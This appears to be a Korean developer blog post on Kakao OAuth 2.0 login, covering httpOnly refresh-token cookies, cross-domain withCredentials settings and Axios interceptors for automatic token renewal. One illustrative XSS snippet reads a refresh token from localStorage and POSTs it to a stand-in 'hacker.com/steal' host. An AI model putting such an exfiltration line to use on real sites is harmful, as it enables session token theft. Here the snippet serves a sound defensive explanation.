OAuth 로그인

Woody·2024년 10월 24일

buddyGuard

목록 보기
8/10
post-thumbnail

프론트엔드 개발을 하면서 OAuth 2.0 인증과 토큰 관리는 피할 수 없는 부분입니다.
특히 소셜 로그인을 구현할 때 보안과 사용자 경험을 모두 고려해야 하는데,
이번 buddy-guard 프로젝트에서는 이전과 다른 접근 방식을 통해 더 나은 해결책을 찾을 수 있었습니다.

OAuth 2.0 이해하기

OAuth 2.0이란?

OAuth 2.0은 사용자가 비밀번호를 제공하지 않고도 애플리케이션에 접근 권한을 부여할 수 있는 인증 프로토콜입니다.
2012년에 발표된 OAuth 2.0은 이전 버전의 복잡성을 개선하고, 모바일 애플리케이션 등 다양한 시나리오를 지원하도록 설계되었습니다.

왜 OAuth 2.0을 사용할까?

예를 들어 카카오 로그인을 생각해보면,
1. 사용자 편의성: 새로운 회원가입 없이 기존 카카오 계정으로 로그인할 수 있습니다.
2. 보안: 애플리케이션에 직접 비밀번호를 제공하지 않습니다.
3. 권한 관리: 사용자가 제공할 정보를 선택적으로 동의할 수 있습니다.

OAuth 2.0의 주요 용어

  • Authorization Code: 액세스 토큰을 발급받기 위한 임시 코드
  • Access Token: API 접근을 위한 단기 토큰
  • Refresh Token: Access Token 재발급을 위한 장기 토큰
  • Scope: 접근 권한의 범위

OAuth 2.0의 발전

  1. OAuth 1.0의 한계
    • 복잡한 서명 절차
    • 모바일 애플리케이션 지원 제한
  2. OAuth 2.0의 개선점
    • HTTPS를 통한 보안 강화
    • 다양한 인증 방식 지원
    • 더 단순해진 구현 절차

1. 프로젝트 배경과 로그인 흐름 비교

이 프로젝트에서는 사용자 인증을 위해 OAuth 로그인 방식을 사용했습니다. (카카오 소셜 로그인을 사용하였습니다.)
이전 프로젝트와 비교해, 이번에는 백엔드 주도 방식을 채택해 보안성을 강화했으며, 사용자 경험을 최적화하기 위해 Axios 인터셉터로 토큰 관리를 자동화했습니다.

이전 프로젝트: 프론트엔드 주도 OAuth 흐름

  1. 사용자가 로그인 버튼을 클릭하면 OAuth 제공자의 인증 페이지로 이동합니다.
  2. 인증 성공 후, 클라이언트는 Authorization Code를 백엔드로 전송합니다.
  3. 백엔드는 Access Token과 Refresh Token을 받아 클라이언트로 전달합니다.
  4. 클라이언트는 두 토큰을 로컬스토리지에 저장하고 Access Token 만료 시 Refresh Token을 사용해 재발급합니다.
// 카카오 로그인 버튼 클릭 시
const handleKakaoLogin = () => {
  window.location.href = `https://kauth.kakao.com/oauth/authorize?
    client_id=${CLIENT_ID}&
    redirect_uri=${REDIRECT_URI}&
    response_type=code`;
};

// 리다이렉트 URI에서 코드 추출
const handleOAuthRedirect = () => {
  const code = new URL(window.location.href).searchParams.get('code');
  if (code) {
    sendCodeToBackend(code);
  }
};

const sendCodeToBackend = async (code) => {
  try {
    const response = await axios.post('/api/auth/kakao', { code });
    const { accessToken, refreshToken } = response.data;
    
    // 두 토큰 모두 로컬스토리지에 저장
    localStorage.setItem('accessToken', accessToken);
    localStorage.setItem('refreshToken', refreshToken);
  } catch (error) {
    console.error('Auth failed:', error);
  }
};

현재 프로젝트: 백엔드 주도 OAuth 흐름

백엔드에서 리프레시 토큰을 관리하며, 인증 및 토큰 관리를 중앙화했습니다.

  • 백엔드가 Refresh Token을 httpOnly 쿠키에 저장해 보안성을 강화합니다.
  • 클라이언트는 첫 로그인 시 Access Token만 로컬스토리지에 저장하며, Axios 인터셉터를 통해 자동으로 토큰을 갱신합니다.
// 카카오 로그인 버튼 클릭 시
const handleKakaoLogin = () => {
  window.location.href = 'http://api.example.com/auth/kakao/login';
};

// 메인 페이지로 리다이렉트된 후 초기 액세스 토큰 발급
const handleLoginSuccess = async () => {
  try {
    const response = await authAxiosInstance.post('/auth/token');
    const { accessToken } = response.data;
    localStorage.setItem('accessToken', accessToken);
  } catch (error) {
    console.error('Initial token fetch failed:', error);
  }
};

OAuth 2.0의 인증 흐름을 시각화한 다이어그램

2. HTTP-Only 쿠키와 보안

HTTP-Only 쿠키의 진정한 의미

처음에는 단순히 "프론트엔드에서 접근할 수 없는 보안 쿠키"로만 이해했지만,
실제로는 더 깊은 의미를 가지고 있었습니다.

1. HTTP-Only 쿠키의 특성

1) 보안 메커니즘으로서의 역할

  • 브라우저와 서버 간의 신뢰할 수 있는 통신 채널입니다.
  • XSS 공격으로부터 중요한 인증 정보를 보호합니다.(자바스크립트로 접근이 불가능)
  • 자동으로 HTTP 요청 헤더에 포함되어 전송됩니다.

2) XSS(Cross-Site Scripting) 공격 방지

// XSS 공격 예시: localStorage의 취약점
const maliciousScript = `
  const token = localStorage.getItem('refreshToken');
  fetch('https://hacker.com/steal', {
    method: 'POST',
    body: token
  });
`;

// ✨ HTTP-Only 쿠키는 JavaScript로 접근 불가능!
// ✨ document.cookie로 읽을 수 없어 안전!

🚨 크로스 도메인 이슈와 해결

프론트엔드와 백엔드의 도메인이 달라서, 쿠키가 제대로 전송되지 않는 문제가 발생했습니다.

// 프론트엔드 설정
const axiosInstance = axios.create({
  baseURL: 'API_BASE_URL',
  withCredentials: true  // 크로스 도메인 쿠키 전송을 위해 필수
});

// 프론트엔드 (localhost:5173)
// ❌ 기본적으로는 쿠키가 전송되지 않음
const api = axios.create({
  baseURL: 'http://localhost:8080'
});

// ✅ withCredentials 설정으로 해결
const api = axios.create({
  baseURL: 'http://localhost:8080',
  withCredentials: true  // ✨크로스 도메인 쿠키 전송을 위해 필수!
});

2. Axios 인터셉터 이해와 활용

Axios 인터셉터란?

Axios 인터셉터는 HTTP 요청/응답을 가로채서 처리할 수 있는 기능입니다.

  • 요청 전: 헤더 추가, 인증 토큰 설정
  • 응답 후: 에러 처리, 응답 데이터 가공
  • 토큰 만료 시: 자동 토큰 갱신

토큰 갱신을 위한 인터셉터 구현

// 액세스 토큰 만료 시 자동 갱신을 위한 인터셉터
axiosInstance.interceptors.response.use(
  (response) => response,
  async (error) => {
    if (error.response?.status === 401) {
      try {
        const response = await authAxiosInstance.post('/auth/refresh');
        const newToken = response.data.accessToken;
        localStorage.setItem('accessToken', newToken);
        
        error.config.headers.Authorization = `Bearer ${newToken}`;
        return axiosInstance(error.config);
      } catch (refreshError) {
        window.location.href = '/login';
        return Promise.reject(refreshError);
      }
    }
    return Promise.reject(error);
  }
);

인터셉터의 장점

  1. 코드 중앙화

    • 토큰 관련 로직을 한 곳에서 관리할 수 있습니다.
    • 중복 코드가 제거됩니다.
    • 유지보수성이 향상됩니다.
  2. 자동화된 에러 처리

    • 401 에러 자동 감지합니다.
    • 토큰 만료 시 자동 갱신합니다.
    • 실패한 요청 자동 재시도를 할 수 있습니다.

3. 사용자 경험(UX) 최적화

끊김 없는 로그인 세션 유지

  • 사용자가 로그인 후 서비스 이용 중에 Access Token이 만료되더라도 인터셉터가 자동으로 백그라운드에서 재발급 요청을 수행
  • 사용자는 로그아웃되거나 다시 로그인할 필요가 없습니다.
  • 서비스 이용이 매끄럽게 이어집니다.

API 요청 실패 방지

  • 만료된 토큰으로 인한 API 요청 실패를 자동으로 처리
  • 사용자에게 불필요한 오류 메시지나 중단 상태가 나타나지 않도록 합니다.
  • 서비스의 안정성을 높이며 일관된 서비스 제공합니다.

4. 🚨 무한 루프 문제 해결

문제 상황

처음 프로젝트를 구현했을 때, 최초 로그인 시 Access Token이 없는 상태에서
1. 토큰 발급 API 호출
2. 인터셉터가 401 에러를 감지
3. 다시 토큰 재발급을 시도
4. 무한 루프 발생

해결 방법

  • 토큰 발급/재발급 전용 Axios 인스턴스를 별도로 생성
  • 인터셉터의 범위를 조정하여 무한 루프 에러를 방지하였습니다.

5. 개선된 결과와 결론

주요 개선사항

  1. 보안성 강화

    • 이전: 리프레시 토큰이 로컬스토리지에 노출
    • 현재: 리프레시 토큰은 httpOnly 쿠키로 보호
  2. 책임 분리

    • 이전: 프론트엔드가 OAuth 흐름을 주도
    • 현재: 백엔드가 OAuth 인증을 전담
  3. 사용자 경험

    • 이전: 토큰 갱신 시 수동 처리 필요
    • 현재: Axios 인터셉터로 자동 갱신
  4. 에러 처리

    • 이전: 토큰 만료 시 개별적 처리 필요
    • 현재: 중앙화된 에러 처리로 일관성 확보

결론

이번 프로젝트를 통해 단순한 기능 구현을 넘어, 웹 보안의 중요성과 실제 구현 시의 고려사항들을 깊이 있게 이해할 수 있었습니다.
특히 HTTP-Only 쿠키와 CORS 설정을 통한 보안 강화, Axios 인터셉터를 활용한 사용자 경험 개선 등, 보안과 UX의 균형을 맞추는 것의 중요성을 배웠습니다.

profile
우디 월드

0개의 댓글